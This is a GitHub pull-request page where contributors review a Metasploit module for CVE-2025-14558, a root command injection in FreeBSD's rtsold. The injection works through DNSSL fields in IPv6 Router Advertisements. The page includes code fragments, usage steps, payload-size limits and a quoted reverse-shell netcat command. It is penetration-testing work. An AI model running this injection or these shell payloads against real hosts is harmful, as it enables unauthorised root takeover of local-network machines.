-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Module and Documentation for CVE-2025-14558 #20798
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
documentation/modules/exploit/freebsd/misc/rtsold_dnssl_cmdinject.md
Outdated
Show resolved
Hide resolved
| To configure a vulnerable target: | ||
|
|
||
| 1. Install FreeBSD (unpatched version) | ||
| 2. Enable IPv6 Router Advertisement (Replace Interface Name with your interface): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This isn't enabled by default?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jvoisin Not on freebsd.
| def check | ||
| check_pcaprub_loaded | ||
|
|
||
| lhost = datastore['LHOST'] || Rex::Socket.source_address('1.1.1.1') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why 1.1.1.1 and not a random address?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jvoisin The call only exists to let the kernel select the default outbound interface and determine a suitable local source address. Using a random address could result in non-deterministic routing, which would make the check and callback behavior unreliable. An unspecified address keeps the behavior deterministic.
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2025-12-16', | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'cmd/unix/generic' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was wondering if there is a limit in payload size and if you have tried any other payload we have, for example: payload/cmd/unix/bind_netcat. that would be nice as default option
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@dledda-r7 Yes, there is a payload size limit of approximately 52 bytes (63 minus $() wrapper and domain prefix) due to DNS label length restrictions (63 bytes max per RFC 1035).
I tested cmd/unix/bind_netcat before and it fails. The payload is about 97 bytes, which gets split across multiple DNS labels. When processed by resolvconf, labels are joined with dots, corrupting the shell command.
cmd/unix/generic with short commands works fine. bind_netcat is unfortunately not suitable as a default option due to its size.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Note to whoever tests this: 52 bytes might get you a piped_fetch payload with mettle or reverse_shell.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Oh that sounds great.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@JohannesLks there is also reverse_netcat_gaping which does exactly what you are using as check method. modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@dledda-r7 Tested reverse_netcat_gaping unfortunately it fails on FreeBSD.
FreeBSD's netcat uses -e for IPsec policy, not command execution like GNU netcat.
The payload generates nc IP PORT -e /bin/sh which results in nc: ipsec_set_policy '/bin/sh': Invalid argument.
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2025-12-16', | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'cmd/unix/generic' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Note to whoever tests this: 52 bytes might get you a piped_fetch payload with mettle or reverse_shell.
| close_pcap | ||
| end | ||
|
|
||
| def encode_domain(name) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there something in RubyDNS that can do this?
@smcintyre-r7 ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
pry(#<Msf::Modules::Exploit__Windows__Smb__Smb_delivery::MetasploitModule>)> Class.new.extend(Net::DNS::Names).pack_name('metasploit.com')
=> "\nmetasploit\x03com\x00"
Might be able to use the same thing to also replace most of #encode_payload.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@smcintyre-r7 I implemeted pack_name for encode_domain, thanks!
For encode_payload, I can't use it because pack_name raises an ArgumentError for strings > 63 bytes. I need encode_payload to manually chunk longer payloads into valid labels, which pack_name doesn't support.
New Module: FreeBSD rtsold/rtsol DNSSL Command Injection (CVE-2025-14558)
Fixes #20789
This PR adds a new exploit module for CVE-2025-14558, a command injection vulnerability in FreeBSD's
rtsol(8)andrtsold(8)daemons. The vulnerability arises from improper validation of the Domain Name Search List (DNSSL) option in IPv6 Router Advertisement (RA) messages, which are passed to theresolvconf(8)script without sanitization. An attacker on the local network can execute arbitrary commands as root by injecting shell metacharacters into the DNSSL domain field.Verification
msfconsoleuse exploit/freebsd/misc/rtsold_dnssl_cmdinjectset INTERFACE <your_interface>(e.g., eth0)set CMD touch /tmp/pwnedexploitRouter Advertisement(s) sent successfullyis displayed./tmp/pwnedexists.Demo / Proof of Concept
This module requires a FreeBSD target system (versions 13.x, 14.x, or 15.0 prior to 2025-12-16 patches) running
rtsoldwith the-sflag.